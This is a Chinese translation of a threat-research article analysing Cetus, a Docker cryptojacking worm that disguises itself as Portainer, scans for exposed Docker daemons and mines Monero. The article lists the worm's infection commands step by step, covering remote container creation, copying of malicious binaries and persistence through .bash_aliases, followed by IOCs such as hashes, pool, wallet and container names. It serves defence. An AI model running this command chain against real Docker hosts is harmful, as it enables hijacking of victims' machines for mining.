譯者:知道創宇404實驗室翻譯組
原文鏈接:https://unit42.paloaltonetworks.com/

摘要

自容器誕生以來,安全專家就將不安全的Docker daemons 稱為主要威脅。我們最近還撰寫了有關Graboid(第一個Docker密碼劫持蠕蟲不安全的Docker daemons)的文章。我通過設置Docker daemons蜜罐進行了進一步的研究,以研究在野外尋找普通Docker daemons的情況,并了解由COVID-19導致的向云的轉移是否增加了針對性云攻擊的普及率和復雜性。

本文將詳細介紹Cetus的發現,Cetus是針對Monero的一種新的和改進的Docker密碼劫持蠕蟲挖掘,可在我們創建的Docker daemons蜜罐中找到。

蜜罐

為了進行研究,我設置了受限的Docker daemons,并記錄了5月份的所有流量。在這段時間里,我目睹了各種各樣的攻擊,從僵尸網絡到蠕蟲,一切都在進行,其中大多數是為了進行加密劫持,特別是對門羅幣。

最常見的攻擊之一引起了我的注意,因為它具有蠕蟲的潛在特征。與其他攻擊不同,蜜罐在這里受到來自許多不同的不安全Docker daemons實例的攻擊。根據我的honeypot部署和其他有關容器安全性的研究項目,看到蠕蟲針對不安全的Docker daemons的情況并不常見。我分析有效負載,并確定這是一個新的Docker蠕蟲:惡意軟件的每個實例都試圖發現和感染本地網絡和外部的其他Docker daemons實例。

Cetus如何運作

在希臘神話中,有一個關于鯨魚樣生物的故事,該生物看起來無害,但實際上是一個海洋怪物,無論到哪里都造成破壞。該生物的名字是塞圖斯。由于該惡意軟件針對Docker,并試圖偽裝成合法的二進制文件,因此我決定將其命名為Cetus。

Cetus通過偽裝在Docker環境中經常使用的稱為Portainer的合法二進制文件來偽裝自己。Portainer是一個用戶界面(UI)管理工具,它提供了一種方便的方法來管理多個Docker環境。在接管新機器時,Cetus將自己復制到受害者并部署XMRig cryptominer有效負載。Cetus將加密礦工偽裝成另一個稱為docker -cache的合法二進制文件。它看起來像合法名稱,但與Portainer不同,它不是真正的二進制名稱。

Cetus生命周期從兩個功能開始:miner_start和scan_start,它們遵循此處所示的流程。 最后一步是使受害者創建一個Ubuntu容器,更新存儲庫,安裝Masscan和Docker,復制Cetus和XMRig,通過.bash_aliases添加持久性,然后重新啟動容器并運行Cetus。

圖1. Cetus生命周期

感染機制簡單有效。Cetus使用Masscan隨機掃描子網以查找Docker daemons,一旦找到子網,它就會嘗試通過將請求發送到守護程序的REST API進行傳播。為了增加侮辱性傷害,Cetus使用Docker命令行界面(CLI)工具精心設計了這些請求。

Cetus的攻擊流程如圖1所示。具體地說,Cetus運行的命令是:

  • 檢查守護程序是否可利用且未被感染:
docker -H <victim> ps -a  
  • 從Docker Hub 運行一個新的ubuntu:18.04容器:
docker -H <victim> run -dt --name <name> --restart always ubuntu:18.04 /bin/bash
  • 更新程序包管理器列表:
  docker -H <victim> exec <name> apt-get -yq update           
  • 通過軟件包管理器安裝Masscan和Docker:
docker -H <victim> exec <name> apt-get install masscan docker.io
  • 將惡意的portainer和docker-cache二進制文件復制到容器中:
docker -H <victim> cp -L docker-cache <name>:/usr/bin/docker -H <victim> cp -L portainer <name>/usr/bin/
  • 將Cetus添加到“ /root/.bash_aliases”。每當容器重新啟動或root啟動bash會話時,它將導致Cetus運行:
docker -H <victim> exec <name> bash --norc -c `echo /usr/bin/portainer <name> >/dev/null` 2>/dev/null &   
  • 重新啟動容器以運行Cetus:
docker -H <victim> restart <name> 

逆向工程Cetus

逆向工程Cetus簡便快捷,因為它不使用任何反調試或混淆技術,甚至沒有符號。礦工則不是這樣。XMRig礦工是用于加密劫持攻擊的最廣泛使用的加密礦工之一,因此安全工具將其視為病毒。因此,為了在這次攻擊中欺騙他們,將其完全模糊了,使反向工程過程變得更加困難。

此外,我們可以斷定該惡意軟件是新的,因為它使用了2020年2月2日發布的XMRig 5.5.3。

Cetus的體系結構很簡單。它包含兩個主要功能:

miner_start和scan_start。

“這里顯示的代碼如下:miner_start(); while(1){random = rand();以及其他未在此處以明文形式復制的行。此代碼啟動了Cetus的兩個主要功能。

圖2. Cetus主要功能

miner_start函數很簡單。它打開/var/log/stmp.log來記錄Cetus的操作,然后運行XMRig cryptominer,該工具利用機器的CPU來挖掘Monero。

函數scan_start更加有趣,它執行了惡意軟件的核心功能。它選擇一個隨機的16位子網,然后運行Masscan以便在子網中掃描端口2375上的Docker daemons。找到守護程序后,它將使用已下載的Docker CLI工具啟動感染過程。

關于惡意軟件的一個有趣的事情是,每次感染Docker daemons時,它都會使用不同的名稱調用容器。它有兩個包含八個名稱的列表,并且從每個列表中隨機選擇一個名稱并將它們鏈接起來。

此圖包含Cetus使用的名稱示例,包括boorish_peristeronic,verdant_quire和limpid_oxter。

圖3.惡意容器名稱

然后Cetus將以名稱作為參數運行礦工。礦工將使用此名稱向采礦池標識自己,并向參與者發送有關采礦的信息。這將使攻擊者可以對每個礦工進行分類,并通過挖掘池API創建有關礦工和活動的統計信息。

我們可以從此和日志機制得出結論,該蠕蟲的操作員希望監視所有內容。

結論

隨著攻擊者了解云的潛力,針對惡意軟件的容器將逐漸變得更加復雜。這是繼Graboid之后由Unit 42記錄的第二個Docker密碼劫持蠕蟲。此外,我們還能夠將Cetus鏈接到另一種攻擊AWS和Docker daemons的加密劫持蠕蟲這些蠕蟲使用與Cetus相同的Monero錢包地址。我們得出結論,對云進行復雜攻擊的趨勢正在增長。

運行Prisma Cloud的 Palo Alto Networks客戶可以通過Prisma Cloud Compute主機合規性保護免受此侵害,該警告會警告Docker daemons配置不足,并提出解決方案。

這顯示了Prisma Cloud主機警報的示例,警告Docker daemons配置不足-這個問題可能使Docker daemons容易受到Cetus的攻擊。

圖4. Prisma Cloud主機警報

IOC

檔案
文檔名稱 SHA256
docker-cache e03cf2af46ad1fe590e63f0020243c6e8ae94f074e65ace18c6d568283343dac
docker-cache b49a3f3cb4c70014e2c35c880d47bc475584b87b7dfcfa6d7341d42a16ebe443

表1.惡意軟件散列

采礦信息

pool

pool.minexmr.com:443

付款地址

85X7JcgPpwQdZXaK2TKJb8baQAXc3zBsnW7JuY7MLi9VYSamf4bFwa7SEAK9Hgp2P53npV19w1zuaK5bft5m2NN71CmNLoh

容器名稱

baleful_gormmet

baleful_obelus

baleful_agelast

baleful_amatorculist

baleful_peristeronic

baleful_hirquiticke

baleful_oxter

baleful_quire

boorish_gormmet

boorish_obelus

boorish_agelast

boorish_amatorculist

boorish_peristeronic

boorish_hirquiticke

boorish_oxter

boorish_quire

adroit_gormmet

adroit_obelus

adroit_agelast

adroit_amatorculist

adroit_peristeronic

adroit_hirquiticke

adroit_oxter

adroit_quire

fecund_gormmet

fecund_obelus

fecund_agelast

fecund_amatorculist

fecund_peristeronic

fecund_hirquiticke

fecund_oxter

fecund_quire

limpid_gormmet

limpid_obelus

limpid_agelast

limpid_amatorculist

limpid_peristeronic

limpid_hirquiticke

limpid_oxter

limpid_quire

risible_gormmet

risible_obelus

risible_agelast

risible_amatorculist

risible_peristeronic

risible_hirquiticke

risible_oxter

risible_quire

verdant_gormmet

verdant_obelus

verdant_agelast

verdant_amatorculist

verdant_peristeronic

verdant_hirquiticke

verdant_oxter

verdant_quire

zealous_gormmet

zealous_obelus

zealous_agelast

zealous_amatorculist

zealous_peristeronic

zealous_hirquiticke

zealous_oxter

zealous_quire


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1322/